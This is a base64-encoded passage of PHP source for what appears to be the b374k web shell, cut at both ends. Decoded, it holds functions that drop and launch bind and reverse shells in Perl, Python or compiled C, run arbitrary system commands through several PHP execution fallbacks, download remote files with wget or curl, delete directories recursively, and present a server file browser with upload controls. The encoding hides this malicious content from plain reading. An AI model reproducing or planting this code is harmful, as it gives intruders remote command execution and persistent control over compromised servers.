N3ZJem1Jb0x2S29lRHp1MmpPWlpwNXExeGt6K2NneUY3b0o5RnNwcGF0UG9kaEk0N05ndjVHdHZr NWJoQVRoZzlvVUN5REE2WER3Z2VYaFBkdkpKNUlLdGVIaUxUZDBaODk0cGkrOTZRSmlvTWVQUWxq a2VtbWdRMFBhU2xyT0tDbmEwL1RqQ3VpUmcxNzZWNisrZGJYVXozNlhOQXpzdTBDOUhTOUY3Wk50 a3V5Q25zN0J4bjFaVVVSZVB2NzgxVVVkbGo1SGU5WVhLZ2VEbEtjRUxOUkxuQU9PdVh5TzM0bGZk QTdXWXZGc1RMUkJIR2FkR2JRNVBvY3RKUEhpSGRNTkdtbVNaTjF5WTdUa2d6SXVZV1lFcG1OZjB0 YU5nSHk2WkZSbzFhQ0pTQVRrVHpBdFdrM29CczZNYUR1dzU0VUFRNUxFUVE3SnJjR2dSc0NGYWZC NGFmTzJtckxxejZ5YnI1cU5XUFdCMmZGanBYYXhHc3ptS29tZENJcDBoS1JvTmZ1OUZmdFdmUmVN YmZWalZLNmhqVysxUHNZQ1dnMHJBeDA5Q1hrZDdRNWNWUnQwNDdDMzltTVVCS2pGMGUvUEJNcHpn a25TbGdwV29scGY5OVpZeEU0dXErM0h6ZEtaTVlVNDdFdVpzNDV6MWpFRkxuU3RZSkRNaXJaMmRx cE1MSmF4aktqM3kvVkNRamxhc3JLakRHK2w4dDArWWNzWFhMSXh1cGpvZVdvVEJVdGdWQzdBQUhW UzBjcHBTeXR2NVhVTE5nVlVvTmxVMHJBazBERVp5dGYvWldHaWlSVlkvYWUwNldoL3JSQUxLVVJW eURkQy9hWUg2ZkJMYll2Q1I3NjFZVlZ6Um0zZkJ0cHpudkVUSC9pMGRZQ2VvcVNhbm1rWDh6Rkk2 TDhTcXNIZTZVeXhaaXJ3NWI2NzBRZ2Q0TzdGZmNZb0lxMHVQbFQ5eDdxYzR0Uk1RRmErZ3JkdERj Z3phMzRsVUJpNmFFU005Snh0dnNibVVYSnZBNTVUak8xeUV1ZTBJUmV2b3loQURlYjd0K01CRGVR eCtnZWZDdklnZ1RhRHBKay9pQUUwS0Yxbm1aVXRKeGpTSld1OGpTK3d3RDdsaWFvUmREM0NpNERv TWdsUmlSWTNUaFg3MjRqd0F5WHJ5WVZ1N1hoTmpGbHNuWUZmT21EMjhidGwwYUlqbGRHYWxhUUtU L3U0SFVPRjgxa3RmQkZWaFh4M0Z5djIwR0xkWXZCVGZYOE53PT0iOwoKLy8gbWFrZSBsaW5rIGZv ciBmb2xkZXIgJHB3ZCBhbmQgYWxsIG9mIGl0cyBwYXJlbnQgZm9sZGVyCmZ1bmN0aW9uIHN3ZCgk cCl7CiAgJHBzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRwKTsKICAkcHUgPSAiIjsK ICBmb3IoJGkgPSAwIDsgJGkgPCBzaXplb2YoJHBzKS0xIDsgJGkrKyl7CiAgICAkcHogPSAiIjsK ICAgIGZvcigkaiA9IDAgOyAkaiA8PSAkaSA7ICRqKyspICRweiAuPSAkcHNbJGpdLkRJUkVDVE9S WV9TRVBBUkFUT1I7CiAgICAkcHUgLj0gIjxhIGhyZWY9XCI/ZD0iLiRwei4iXCI+Ii4kcHNbJGld LiIgIi5ESVJFQ1RPUllfU0VQQVJBVE9SLiIgPC9hPiI7CiAgfQogIHJldHVybiB0cmltKCRwdSk7 Cn0KLy8gcmVtb3ZlIDxiciAvPnRhZ3MKZnVuY3Rpb24gcnAoJHQpewogIHJldHVybiB0cmltKHN0 cl9yZXBsYWNlKCI8YnIgLz4iLCIiLCR0KSk7Cn0KLy8gcmVwbGFjZSBzcGFjZXMgd2l0aCB1bmRl cnNjb3JlICggXyApCmZ1bmN0aW9uIGNzKCR0KXsKICByZXR1cm4gc3RyX3JlcGxhY2UoIiAiLCJf IiwkdCk7Cn0KLy8gc3RyaXAgc2xhc2hlcyx0cmltIGFuZCB1cmxkZWNvZGUKZnVuY3Rpb24gc3Mo JHQpewogIGlmICghZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgcmV0dXJuIHRyaW0odXJsZGVjb2Rl KCR0KSk7CiAgcmV0dXJuIHRyaW0odXJsZGVjb2RlKHN0cmlwc2xhc2hlcygkdCkpKTsKfQovLyBv bmx5IHN0cmlwIHNsYXNoZXMKZnVuY3Rpb24gc3NjKCR0KXsKICBpZiAoIWdldF9tYWdpY19xdW90 ZXNfZ3BjKCkpIHJldHVybiAkdDsKICByZXR1cm4gc3RyaXBzbGFzaGVzKCR0KTsKfQovLyBiaW5k IGFuZCByZXZlcnNlIHNoZWxsCmZ1bmN0aW9uIHJzKCRzX3dpbiwgJGQsICR0eXBlLCAkc2MsICR0 YXJnZXQpewogICRyZXN1bHQgPSAiIjsKCiAgJGZjID0gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUo JHNjKSk7CgogICRlcnJwZXJtID0gIjxwIGNsYXNzPVwicnNfcmVzdWx0XCI+ZXJyb3I6IHBlcm1p c3Npb24gZGVuaWVkLiBjaGVjayBjdXJyZW50IHdvcmtpbmcgZGlyZWN0b3J5IHBlcm1pc3Npb25z PC9wPiI7CiAgJGVycmdjYyA9ICI8cCBjbGFzcz1cInJzX3Jlc3VsdFwiPmVycm9yOiBjYW4gbm90 IGNvbXBpbGUgdXNpbmcgZ2NjPC9wPiI7CgogIGlmKCR0eXBlID09ICJ4YmluZF9wbCIpewogICAg JGZuYW1lID0gImIzNzRrX2JpbmQucGwiOwogICAgJGZwYXRoID0gJGQuJGZuYW1lOwogICAgaWYo aXNfZmlsZSgkZnBhdGgpKSB1bmxpbmsoJGZwYXRoKTsKICAgIGlmKCRmaWxlPWZvcGVuKCRmcGF0 aCwidyIpKXsKICAgICAgZndyaXRlKCRmaWxlLCRmYyk7CiAgICAgIGZjbG9zZSgkZmlsZSk7CiAg ICAgIGlmKGlzX2ZpbGUoJGZwYXRoKSl7CiAgICAgICAgJHJlcyA9IGV4ZSgiY2htb2QgK3ggIi4k ZnBhdGgpOwogICAgICAgICRyZXMgPSBleGUoInBlcmwgIi4kZnBhdGguIiAiLiR0YXJnZXQpOwog ICAgICB9CiAgICAgIGVsc2UgJHJlc3VsdCA9ICRlcnJwZXJtOwogICAgfQogICAgZWxzZSAkcmVz dWx0ID0gJGVycnBlcm07CiAgfQogIGVsc2VpZigkdHlwZSA9PSAieGJpbmRfcHkiKXsKICAgICRm bmFtZSA9ICJiMzc0a19iaW5kLnB5IjsKICAgICRmcGF0aCA9ICRkLiRmbmFtZTsKICAgIGlmKGlz X2ZpbGUoJGZwYXRoKSkgdW5saW5rKCRmcGF0aCk7CiAgICBpZigkZmlsZT1mb3BlbigkZnBhdGgs InciKSl7CiAgICAgIGZ3cml0ZSgkZmlsZSwkZmMpOwogICAgICBmY2xvc2UoJGZpbGUpOwogICAg ICBpZihpc19maWxlKCRmcGF0aCkpewogICAgICAgICRyZXMgPSBleGUoImNobW9kICt4ICIuJGZw YXRoKTsKICAgICAgICAkcmVzID0gZXhlKCJweXRob24gIi4kZnBhdGguIiAiLiR0YXJnZXQpOwog ICAgICB9CiAgICAgIGVsc2UgJHJlc3VsdCA9ICRlcnJwZXJtOwogICAgfQogICAgZWxzZSAkcmVz dWx0ID0gJGVycnBlcm07CgogIH0KICBlbHNlaWYoJHR5cGUgPT0gInhiaW5kX2JpbiIpewogICAg JGZuYW1lID0gImIzNzRrX2JpbmQiOwogICAgJGZwYXRoID0gJGQuJGZuYW1lOwoKICAgIGlmKCEk c193aW4pewogICAgICBpZihpc19maWxlKCRmcGF0aCkpIHVubGluaygkZnBhdGgpOwogICAgICBp Zihpc19maWxlKCRmcGF0aC4iLmMiKSkgdW5saW5rKCRmcGF0aC4iLmMiKTsKICAgICAgaWYoJGZp bGU9Zm9wZW4oJGZwYXRoLiIuYyIsInciKSl7CiAgICAgICAgZndyaXRlKCRmaWxlLCRmYyk7CiAg ICAgICAgZmNsb3NlKCRmaWxlKTsKICAgICAgICBpZihpc19maWxlKCRmcGF0aC4iLmMiKSl7CiAg ICAgICAgICAkcmVzID0gZXhlKCJnY2MgIi4kZnBhdGguIi5jIC1vICIuJGZwYXRoKTsKICAgICAg ICAgIGlmKGlzX2ZpbGUoJGZwYXRoKSl7CiAgICAgICAgICAgICRyZXMgPSBleGUoImNobW9kICt4 ICIuJGZwYXRoKTsKICAgICAgICAgICAgJHJlcyA9IGV4ZSgkZnBhdGguIiAiLiR0YXJnZXQpOwog ICAgICAgICAgfQogICAgICAgICAgZWxzZSAkcmVzdWx0ID0gJGVycmdjYzsKICAgICAgICB9CiAg ICAgICAgZWxzZSAkcmVzdWx0ID0gJGVycnBlcm07CgogICAgICB9CiAgICAgIGVsc2UgJHJlc3Vs dCA9ICRlcnJwZXJtOwogICAgfQogICAgZWxzZXsKICAgICAgJGZwYXRoID0gJGZwYXRoIC4gIi5l eGUiOwogICAgICBpZihpc19maWxlKCRmcGF0aCkpIHVubGluaygkZnBhdGgpOwogICAgICBpZigk ZmlsZT1mb3BlbigkZnBhdGgsInciKSl7CiAgICAgICAgZndyaXRlKCRmaWxlLCRmYyk7CiAgICAg ICAgZmNsb3NlKCRmaWxlKTsKICAgICAgICBpZihpc19maWxlKCRmcGF0aCkpewogICAgICAgICAg JHJlcyA9IGV4ZSgiXCIiLiRmcGF0aC4iXCIgIi4kdGFyZ2V0KTsKICAgICAgICB9CiAgICAgICAg ZWxzZSAkcmVzdWx0ID0gJGVycnBlcm07CiAgICAgIH0KICAgICAgZWxzZSAkcmVzdWx0ID0gJGVy cnBlcm07CiAgICB9CgogIH0KICBlbHNlaWYoJHR5cGUgPT0gInhiYWNrX3BsIil7CiAgICAkZm5h bWUgPSAiYjM3NGtfYmFjay5wbCI7CiAgICAkZnBhdGggPSAkZC4kZm5hbWU7CiAgICAkdGFyID0g ZXhwbG9kZSgiICIsJHRhcmdldCwyKTsKICAgIGlmKGlzX2ZpbGUoJGZwYXRoKSkgdW5saW5rKCRm cGF0aCk7CiAgICBpZigkZmlsZT1mb3BlbigkZnBhdGgsInciKSl7CiAgICAgIGZ3cml0ZSgkZmls ZSwkZmMpOwogICAgICBmY2xvc2UoJGZpbGUpOwogICAgICBpZihpc19maWxlKCRmcGF0aCkpewog ICAgICAgICRyZXMgPSBleGUoImNobW9kICt4ICIuJGZwYXRoKTsKICAgICAgICAkcmVzID0gZXhl KCJwZXJsICIuJGZwYXRoLiIgIi4kdGFyZ2V0KTsKICAgICAgfQogICAgICBlbHNlICRyZXN1bHQg PSAkZXJycGVybTsKICAgIH0KICAgIGVsc2UgJHJlc3VsdCA9ICRlcnJwZXJtOwogIH0KICBlbHNl aWYoJHR5cGUgPT0gInhiYWNrX3B5Iil7CiAgICAkZm5hbWUgPSAiYjM3NGtfYmFjay5weSI7CiAg ICAkZnBhdGggPSAkZC4kZm5hbWU7CiAgICAkdGFyID0gZXhwbG9kZSgiICIsJHRhcmdldCwyKTsK ICAgIGlmKGlzX2ZpbGUoJGZwYXRoKSkgdW5saW5rKCRmcGF0aCk7CiAgICBpZigkZmlsZT1mb3Bl bigkZnBhdGgsInciKSl7CiAgICAgIGZ3cml0ZSgkZmlsZSwkZmMpOwogICAgICBmY2xvc2UoJGZp bGUpOwogICAgICBpZihpc19maWxlKCRmcGF0aCkpewogICAgICAgICRyZXMgPSBleGUoImNobW9k ICt4ICIuJGZwYXRoKTsKICAgICAgICAkcmVzID0gZXhlKCJweXRob24gIi4kZnBhdGguIiAiLiR0 YXJnZXQpOwogICAgICB9CiAgICAgIGVsc2UgJHJlc3VsdCA9ICRlcnJwZXJtOwogICAgfQogICAg ZWxzZSAkcmVzdWx0ID0gJGVycnBlcm07CgogIH0KICBlbHNlaWYoJHR5cGUgPT0gInhiYWNrX2Jp biIpewogICAgJGZuYW1lID0gImIzNzRrX2JhY2siOwogICAgJGZwYXRoID0gJGQuJGZuYW1lOwog ICAgJHRhciA9IGV4cGxvZGUoIiAiLCR0YXJnZXQsMik7CgogICAgaWYoISRzX3dpbil7CiAgICAg IGlmKGlzX2ZpbGUoJGZwYXRoKSkgdW5saW5rKCRmcGF0aCk7CiAgICAgIGlmKGlzX2ZpbGUoJGZw YXRoLiIuYyIpKSB1bmxpbmsoJGZwYXRoLiIuYyIpOwogICAgICBpZigkZmlsZT1mb3BlbigkZnBh dGguIi5jIiwidyIpKXsKICAgICAgICBmd3JpdGUoJGZpbGUsJGZjKTsKICAgICAgICBmY2xvc2Uo JGZpbGUpOwogICAgICAgIGlmKGlzX2ZpbGUoJGZwYXRoLiIuYyIpKXsKICAgICAgICAgICRyZXMg PSBleGUoImdjYyAiLiRmcGF0aC4iLmMgLW8gIi4kZnBhdGgpOwogICAgICAgICAgaWYoaXNfZmls ZSgkZnBhdGgpKXsKICAgICAgICAgICAgJHJlcyA9IGV4ZSgiY2htb2QgK3ggIi4kZnBhdGgpOwog ICAgICAgICAgICAkcmVzID0gZXhlKCRmcGF0aC4iICIuJHRhcmdldCk7CiAgICAgICAgICB9CiAg ICAgICAgICBlbHNlICRyZXN1bHQgPSAkZXJyZ2NjOwogICAgICAgIH0KICAgICAgICBlbHNlICRy ZXN1bHQgPSAkZXJycGVybTsKICAgICAgfQogICAgICBlbHNlICRyZXN1bHQgPSAkZXJycGVybTsK ICAgIH0KICAgIGVsc2V7CiAgICAgICRmcGF0aCA9ICRmcGF0aCAuICIuZXhlIjsKICAgICAgaWYo aXNfZmlsZSgkZnBhdGgpKSB1bmxpbmsoJGZwYXRoKTsKICAgICAgaWYoJGZpbGU9Zm9wZW4oJGZw YXRoLCJ3IikpewogICAgICAgIGZ3cml0ZSgkZmlsZSwkZmMpOwogICAgICAgIGZjbG9zZSgkZmls ZSk7CiAgICAgICAgaWYoaXNfZmlsZSgkZnBhdGgpKXsKICAgICAgICAgICRyZXMgPSBleGUoJGZw YXRoLiIgIi4kdGFyZ2V0KTsKICAgICAgICB9CiAgICAgICAgZWxzZSAkcmVzdWx0ID0gJGVycnBl cm07CiAgICAgIH0KICAgICAgZWxzZSAkcmVzdWx0ID0gJGVycnBlcm07CiAgICB9CiAgfQoKICBy ZXR1cm4gJHJlc3VsdDsKfQovLyBnZXQgZmlsZSBzaXplCmZ1bmN0aW9uIGdzKCRmKXsKICBpZigk cyA9IGZpbGVzaXplKCRmKSl7CiAgICBpZigkcyA8PSAxMDI0KSByZXR1cm4gJHM7CiAgICBlbHNl ewogICAgICBpZigkcyA8PSAxMDI0KjEwMjQpIHsKICAgICAgICAkcyA9IHJvdW5kKCRzIC8gMTAy NCwyKTs7CiAgICAgICAgcmV0dXJuICRzLiIga2IiOwogICAgICB9CiAgICAgIGVsc2UgewogICAg ICAgICRzID0gcm91bmQoJHMgLyAxMDI0IC8gMTAyNCwyKTsKICAgICAgICByZXR1cm4gJHMuIiBt YiI7CiAgICAgIH0KICAgIH0KICB9CiAgZWxzZSByZXR1cm4gIj8/PyI7Cn0KLy8gZ2V0IGZpbGUg cGVybWlzc2lvbnMKZnVuY3Rpb24gZ3AoJGYpewogIGlmKCRtPWZpbGVwZXJtcygkZikpewogICAg JHA9Jyc7CiAgICAkcCAuPSAoJG0gJiAwMDQwMCkgPyAncicgOiAnLSc7CiAgICAkcCAuPSAoJG0g JiAwMDIwMCkgPyAndycgOiAnLSc7CiAgICAkcCAuPSAoJG0gJiAwMDEwMCkgPyAneCcgOiAnLSc7 CiAgICAkcCAuPSAoJG0gJiAwMDA0MCkgPyAncicgOiAnLSc7CiAgICAkcCAuPSAoJG0gJiAwMDAy MCkgPyAndycgOiAnLSc7CiAgICAkcCAuPSAoJG0gJiAwMDAxMCkgPyAneCcgOiAnLSc7CiAgICAk cCAuPSAoJG0gJiAwMDAwNCkgPyAncicgOiAnLSc7CiAgICAkcCAuPSAoJG0gJiAwMDAwMikgPyAn dycgOiAnLSc7CiAgICAkcCAuPSAoJG0gJiAwMDAwMSkgPyAneCcgOiAnLSc7CiAgICByZXR1cm4g JHA7CiAgfQogIGVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/IjsKfQovLyBzaGVsbCBjb21tYW5kCmZ1 bmN0aW9uIGV4ZSgkYyl7CiAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgb2Jf c3RhcnQoKTsKICAgIHN5c3RlbSgkYyk7CiAgICAkYiA9IG9iX2dldF9jb250ZW50cygpOwogICAg b2JfZW5kX2NsZWFuKCk7CiAgICByZXR1cm4gJGI7CiAgfQogIGVsc2VpZihmdW5jdGlvbl9leGlz dHMoJ3NoZWxsX2V4ZWMnKSl7CiAgICAkYiA9IHNoZWxsX2V4ZWMoJGMpOwogICAgcmV0dXJuICRi OwogIH0KICBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgIGV4ZWMoJGMsJHIp OwogICAgJGIgPSAiIjsKICAgIGZvcmVhY2goJHIgYXMgJHMpewogICAgICAkYiAuPSAkczsKICAg IH0KICAgIHJldHVybiAkYjsKICB9CiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUn KSkgewogICAgb2Jfc3RhcnQoKTsKICAgIHBhc3N0aHJ1KCRjKTsKICAgICRiID0gb2JfZ2V0X2Nv bnRlbnRzKCk7CiAgICBvYl9lbmRfY2xlYW4oKTsKICAgIHJldHVybiAkYjsKICB9CiAgcmV0dXJu ICIiOyAvLyBmYWlsZWQuLi4gb2ggbXkKfQovLyBhZGQgc2xhc2ggdG8gdGhlIGVuZCBvZiBnaXZl biBwYXRoCmZ1bmN0aW9uIGNwKCRwKXsKICBpZihpc19kaXIoJHApKXsKICAgICR4ID0gRElSRUNU T1JZX1NFUEFSQVRPUjsKICAgIHdoaWxlKHN1YnN0cigkcCwtMSkgPT0gJHgpICRwID0gcnRyaW0o JHAsJHgpOwogICAgcmV0dXJuICRwLiR4OwogIH0KICByZXR1cm4gJHA7Cn0KLy8gZGVsZXRlIGRp ciBhbmQgYWxsIG9mIGl0cyBjb250ZW50IChubyB3YXJuaW5nICEpIHhwCmZ1bmN0aW9uIHJtZGly cygkZCkgewogICRmID0gZ2xvYigkZCAuICcqJywgR0xPQl9NQVJLKTsKICBmb3JlYWNoKCRmIGFz ICR6KXsKICAgIGlmKGlzX2RpcigkeikpIHJtZGlycygkeik7CiAgICBlbHNlIHVubGluaygkeik7 CiAgfQogIGlmKGlzX2RpcigkZCkpIHJtZGlyKCRkKTsKfQpmdW5jdGlvbiB4d2hpY2goJHByKXsK ICAkcCA9IGV4ZSgid2hpY2ggJHByIik7CiAgaWYodHJpbSgkcCkhPSIiKSB7IHJldHVybiB0cmlt KCRwKTsgfSBlbHNlIHsgcmV0dXJuIHRyaW0oJHByKTsgfQp9Ci8vIGRvd25sb2FkIGZpbGUgZnJv bSBpbnRlcm5ldApmdW5jdGlvbiBkbGZpbGUoJHUsJHApewogICRuID0gYmFzZW5hbWUoJHUpOwoK ICAvLyB0cnkgdXNpbmcgcGhwIGZ1bmN0aW9ucwogIGlmKCR0ID0gZmlsZV9nZXRfY29udGVudHMo JHUpKXsKICAgIGlmKGlzX2ZpbGUoJHApKSB1bmxpbmsoJHApOzsKICAgIGlmKCRmPWZvcGVuKCRw LCJ3IikpewogICAgICBmd3JpdGUoJGYsJHQpOwogICAgICBmY2xvc2UoJGYpOwogICAgICBpZihp c19maWxlKCRwKSkgcmV0dXJuIHRydWU7CiAgICB9CiAgfQoKICAvLyB1c2luZyB3Z2V0CiAgZXhl KHh3aGljaCgnd2dldCcpLiIgIi4kdS4iIC1PICIuJHApOwogIGlmKGlzX2ZpbGUoJHApKSByZXR1 cm4gdHJ1ZTsKCiAgLy8gdHJ5IHVzaW5nIGx3cC1kb3dubG9hZAogIGV4ZSh4d2hpY2goJ2x3cC1k b3dubG9hZCcpLiIgIi4kdS4iICIuJHApOwogIGlmKGlzX2ZpbGUoJHApKSByZXR1cm4gdHJ1ZTsK CiAgLy8gdHJ5IHVzaW5nIGx5bngKICBleGUoeHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHUu IiA+ICIuJHApOwogIGlmKGlzX2ZpbGUoJHApKSByZXR1cm4gdHJ1ZTsKCiAgLy8gdHJ5IHVzaW5n IGN1cmwKICBleGUoeHdoaWNoKCdjdXJsJykuIiAiLiR1LiIgLW8gIi4kcCk7CiAgaWYoaXNfZmls ZSgkcCkpIHJldHVybiB0cnVlOwoKICByZXR1cm4gZmFsc2U7Cn0KLy8gZXhwbG9yZXIsIHJldHVy biBhIHRhYmxlIG9mIGdpdmVuIGRpcgpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCwkd2lu KXsKICBpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhp c3RzKCJwb3NpeF9nZXRncmdpZCIpKSAkcG9zaXggPSBUUlVFOwogIGVsc2UgJHBvc2l4ID0gRkFM U0U7CgogICR1c2VyID0gIj8/Pz86Pz8/PyI7CiAgJGZuYW1lID0gYXJyYXkoKTsKICAkZG5hbWUg PSBhcnJheSgpOwoKICBpZigkZGggPSBzY2FuZGlyKCRwd2QpKXsKICAgIGZvcmVhY2goJGRoIGFz ICRmaWxlKXsKICAgICAgaWYoaXNfZGlyKCRmaWxlKSkgJGRuYW1lW10gPSAkZmlsZTsKICAgICAg ZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKSAkZm5hbWVbXSA9ICRmaWxlOwogICAgfQogIH0KICBlbHNl ewogICAgaWYoJGRoID0gb3BlbmRpcigkcHdkKSl7CiAgICAgIHdoaWxlKCRmaWxlID0gcmVhZGRp cigkZGgpKXsKICAgICAgICBpZihpc19kaXIoJGZpbGUpKSAkZG5hbWVbXSA9ICRmaWxlOwogICAg ICAgIGVsc2VpZihpc19maWxlKCRmaWxlKSkkZm5hbWVbXSA9ICRmaWxlOwogICAgICB9CiAgICAg IGNsb3NlZGlyKCRkaCk7CiAgICB9CiAgfQoKICBzb3J0KCRmbmFtZSk7CiAgc29ydCgkZG5hbWUp OwoKICAkcGF0aCA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTsKICAkdHJlZSA9 IHNpemVvZigkcGF0aCk7CiAgJHBhcmVudCA9ICIiOwogICRidWZmID0gIgo8dGFibGUgY2xhc3M9 XCJleHBsb3JlIHNvcnRhYmxlXCI+CiAgPHRyPjx0aD5uYW1lPC90aD48dGggc3R5bGU9XCJ3aWR0 aDo2MHB4O1wiPnNpemU8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiPm93bmVyIDogZ3Jv dXA8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjcwcHg7XCI+cGVybXM8L3RoPjx0aCBzdHlsZT1cIndp ZHRoOjExMHB4O1wiPm1vZGlmaWVkPC90aD48dGggc3R5bGU9XCJ3aWR0aDoyMTBweDtcIj5hY3Rp b25zPC90aD48L3RyPgogICI7CiAgaWYoJHRyZWUgPiAyKSBmb3IoJGk9MDskaTwkdHJlZS0yOyRp KyspICRwYXJlbnQgLj0gJHBhdGhbJGldLkRJUkVDVE9SWV9TRVBBUkFUT1I7CiAgZWxzZSAkcGFy ZW50ID0gJHB3ZDsKCiAgZm9yZWFjaCgkZG5hbWUgYXMgJGZvbGRlcil7CiAgICBpZigkZm9sZGVy ID09ICIuIikgewogICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICRuYW1lID0gcG9z aXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmb2xkZXIpKTsKICAgICAgICAkZ3JvdXAgPSBwb3NpeF9n ZXRncmdpZChmaWxlZ3JvdXAoJGZvbGRlcikpOwogICAgICAgICRvd25lciA9ICRuYW1lWyduYW1l J10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAg ICB9CiAgICAgIGVsc2UgewogICAgICAgICRvd25lciA9ICR1c2VyOwogICAgICB9CiAgICAgICRi dWZmIC49ICI8dHI+PHRkPjxhIGhyZWY9XCI/ZD0iLiRwd2QuIlwiPlsgJGZvbGRlciBdPC9hPjwv dGQ+PHRkPkxJTks8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVy LiI8L3RkPjx0ZCAgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmdwKCRwd2QpLiI8L3Rk Pjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixmaWxl bXRpbWUoJHB3ZCkpLiI8L3RkPjx0ZD48c3BhbiBpZD1cInRpdGlrMVwiPjxhIGhyZWY9XCI/ZD0k cHdkJmFtcDtlZGl0PSIuJHB3ZC4ibmV3ZmlsZS5waHBcIj5uZXdmaWxlPC9hPiB8IDxhIGhyZWY9 XCJqYXZhc2NyaXB0OnR1a2FyKCd0aXRpazEnLCd0aXRpazFfZm9ybScpO1wiPm5ld2ZvbGRlcjwv YT4gfCA8YSBocmVmPVwiP3VwbG9hZCZhbXA7ZD0kcHdkXCI+dXBsb2FkPC9hPjwvc3Bhbj4KICAg ICAgPGZvcm0gYWN0aW9uPVwiIiAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIlwiIG1ldGhvZD1c ImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJn aW46MDtwYWRkaW5nOjA7XCI+CiAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRc IiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgaWQ9 XCJ0aXRpazFfXCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJt a2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4KICAgICAgPGlucHV0IGNsYXNzPVwiaW5w dXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1 cHg7XCIgdmFsdWU9XCJHbyAhXCIgLz4KICAgICAgPC9mb3JtPjwvdGQ+PC90cj4KICAgICAgIjsK ICAgIH0KICAgIGVsc2VpZigkZm9sZGVyID09ICIuLiIpIHsKICAgICAgaWYoISR3aW4gJiYgJHBv c2l4KXsKICAgICAgICAkbmFtZSA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZm9sZGVyKSk7 CiAgICAgICAgJGdyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAg ICAgICAkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3Nw YW4+Ii4kZ3JvdXBbJ25hbWUnXTsKICAgICAgfQogICAgICBlbHNlIHsKICAgICAgICAkb3duZXIg PSAkdXNlcjsKICAgICAgfQogICAgICAkYnVmZiAuPSAiPHRyPjx0ZD48YSBocmVmPVwiP2Q9Ii4k cGFyZW50LiJcIj5bICRmb2xkZXIgXTwvYT48L3RkPjx0ZD5MSU5LPC90ZD48dGQgc3R5bGU9XCJ0 ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWdu OmNlbnRlcjtcIj4iLmdwKCRwYXJlbnQpLiI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2Vu dGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPjx0ZD48 c3BhbiBpZD1cInRpdGlrMlwiPjxhIGhyZWY9XCI/ZD0kcHdkJmFtcDtlZGl0PSIuJHBhcmVudC4i bmV3ZmlsZS5waHBcIj5uZXdmaWxlPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCd0 aXRpazInLCd0aXRpazJfZm9ybScpO1wiPm5ld2ZvbGRlcjwvYT4gfCA8YSBocmVmPVwiP3VwbG9h ZCZhbXA7ZD0kcGFyZW50XCI+dXBsb2FkPC9hPjwvc3Bhbj4KICAgICAgPGZvcm0gYWN0aW9uPVwi IiAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIlwiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsy X2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+ CiAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cIiIuJHB3ZC4i XCIgLz4KICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgaWQ9XCJ0aXRpazJfXCIgc3R5bGU9 XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9u ZXdfZm9sZGVyXCIgLz4KICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1 Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHbyAh XCIgLz4KICAgICAgPC9mb3JtPgogICAgICA8L3RkPjwvdHI+IjsKICAgIH0KICAgIGVsc2Ugewog 